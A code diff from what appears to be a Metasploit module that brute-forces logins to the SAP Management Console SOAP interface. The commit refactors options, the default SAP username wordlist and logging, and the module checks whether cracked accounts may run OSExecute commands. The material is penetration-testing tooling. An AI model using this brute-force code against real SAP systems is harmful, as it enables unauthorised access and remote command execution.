@@ -16,13 +16,10 @@ def initialize
16
16
super (
17
17
'Name' => 'SAP Management Console Brute Force' ,
18
18
'Description' => %q{
19
- This module simply attempts to brute force the username |
20
- password for the SAP Management Console SOAP Interface. By
21
- setting the SAP SID value, a list of default SAP users can be
22
- tested without needing to set a USERNAME or USER_FILE value.
23
- The default usernames are stored in
24
- ./data/wordlists/sap_common.txt (the value of SAP SID is
25
- automatically inserted into the username to replce <SAPSID>).
19
+ This module simply attempts to brute force the username and
20
+ password for the SAP Management Console SOAP Interface. If
21
+ the SAP_SID value is set it will replace instances of <SAPSID>
22
+ in any user/pass from any wordlist.
26
23
} ,
27
24
'References' =>
28
25
[
@@ -36,49 +33,43 @@ def initialize
36
33
register_options (
37
34
[
38
35
Opt ::RPORT ( 50013 ) ,
39
- OptString . new ( 'SAP_SID' , [ false , 'Input SAP SID to attempt brute-forcing standard SAP accounts ' , '' ] ) ,
40
- OptString . new ( 'URI' , [ false , 'Path to the SAP Management Console ' , '/' ] ) ,
36
+ OptString . new ( 'SAP_SID' , [ false , 'Input SAP SID to attempt brute-forcing standard SAP accounts ' , nil ] ) ,
37
+ OptString . new ( 'TARGETURI' , [ false , 'Path to the SAP Management Console ' , '/' ] ) ,
38
+ OptPath . new ( 'USER_FILE' , [ false , "File containing users, one per line" ,
39
+ File . join ( Msf ::Config . data_directory , "wordlists" , "sap_common.txt" ) ] )
41
40
] , self . class )
42
41
register_autofilter_ports ( [ 50013 ] )
43
42
end
44
43
45
- def run_host ( ip )
44
+ def run_host ( rhost )
45
+ uri = normalize_uri ( target_uri . path )
46
46
res = send_request_cgi ( {
47
- 'uri' => normalize_uri ( datastore [ 'URI' ] ) ,
47
+ 'uri' => uri ,
48
48
'method' => 'GET'
49
- } , 25 )
49
+ } )
50
50
51
51
if not res
52
- print_error ( "#{ rhost } : #{ rport } [SAP] Unable to connect" )
52
+ print_error ( "#{ peer } [SAP] Unable to connect" )
53
53
return
54
54
end
55
55
56
- if datastore [ 'SAP_SID' ] != ''
57
- if !datastore [ 'USER_FILE' ] . nil?
58
- print_status ( "SAPSID set to '#{ datastore [ 'SAP_SID' ] } ' - Using provided wordlist" )
59
- elsif !datastore [ 'USERPASS_FILE' ] . nil?
60
- print_status ( "SAPSID set to '#{ datastore [ 'SAP_SID' ] } ' - Using provided wordlist" )
61
- else
62
- print_status ( "SAPSID set to '#{ datastore [ 'SAP_SID' ] } ' - Setting default SAP wordlist" )
63
- datastore [ 'USER_FILE' ] = Msf ::Config . data_directory + '/wordlists/sap_common.txt'
64
- end
65
- end
56
+ print_status ( "SAPSID set to '#{ datastore [ 'SAP_SID' ] } '" ) if datastore [ 'SAP_SID' ]
66
57
67
58
each_user_pass do |user , pass |
68
- enum_user ( user , pass )
59
+ enum_user ( user , pass , uri )
69
60
end
70
61
71
62
end
72
63
73
- def enum_user ( user , pass )
64
+ def enum_user ( user , pass , uri )
74
65
75
66
# Replace placeholder with SAP SID, if present
76
- if datastore [ 'SAP_SID' ] != ''
67
+ if datastore [ 'SAP_SID' ]
77
68
user = user . gsub ( "<SAPSID>" , datastore [ "SAP_SID" ] . downcase )
78
69
pass = pass . gsub ( "<SAPSID>" , datastore [ "SAP_SID" ] )
79
70
end
80
71
81
- print_status ( "#{ rhost } : #{ rport } - Trying username:'#{ user } ' password:'#{ pass } '" )
72
+ print_status ( "#{ peer } - Trying username:'#{ user } ' password:'#{ pass } '" )
82
73
success = false
83
74
84
75
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
@@ -103,7 +94,7 @@ def enum_user(user, pass)
103
94
104
95
begin
105
96
res = send_request_raw ( {
106
- 'uri' => normalize_uri ( datastore [ 'URI' ] ) ,
97
+ 'uri' => uri ,
107
98
'method' => 'POST' ,
108
99
'data' => data ,
109
100
'headers' =>
@@ -113,9 +104,9 @@ def enum_user(user, pass)
113
104
'Content-Type' => 'text/xml; charset=UTF-8' ,
114
105
'Authorization' => 'Basic ' + user_pass
115
106
}
116
- } , 45 )
107
+ } )
117
108
118
- return if not res
109
+ return unless res
119
110
120
111
if ( res . code != 500 and res . code != 200 )
121
112
return
@@ -136,17 +127,17 @@ def enum_user(user, pass)
136
127
end
137
128
138
129
rescue ::Rex ::ConnectionError
139
- print_error ( "#{ rhost } : #{ rport } [SAP #{ rhost } ] Unable to connect" )
130
+ print_error ( "#{ peer } [SAP] Unable to connect" )
140
131
return
141
132
end
142
133
143
134
if success
144
- print_good ( "#{ rhost } : #{ rport } [SAP] Successful login '#{ user } ' password: '#{ pass } '" )
135
+ print_good ( "#{ peer } [SAP] Successful login '#{ user } ' password: '#{ pass } '" )
145
136
146
137
if permission
147
- vprint_good ( "#{ rhost } : #{ rport } [SAP] Login '#{ user } ' authorized to perform OSExecute calls" )
138
+ vprint_good ( "#{ peer } [SAP] Login '#{ user } ' authorized to perform OSExecute calls" )
148
139
else
149
- vprint_error ( "#{ rhost } : #{ rport } [SAP] Login '#{ user } ' NOT authorized to perform OSExecute calls" )
140
+ vprint_error ( "#{ peer } [SAP] Login '#{ user } ' NOT authorized to perform OSExecute calls" )
150
141
end
151
142
152
143
report_auth_info (
@@ -160,10 +151,9 @@ def enum_user(user, pass)
160
151
:target_host => rhost ,
161
152
:target_port => rport
162
153
)
163
- return
164
154
else
165
- vprint_error ( "#{ rhost } :#{ rport } [SAP] failed to login as '#{ user } ':'#{ pass } '" )
166
- return
155
+ vprint_error ( "#{ peer } [SAP] failed to login as '#{ user } ':'#{ pass } '" )
167
156
end
168
157
end
169
158
end
159
+
0 commit comments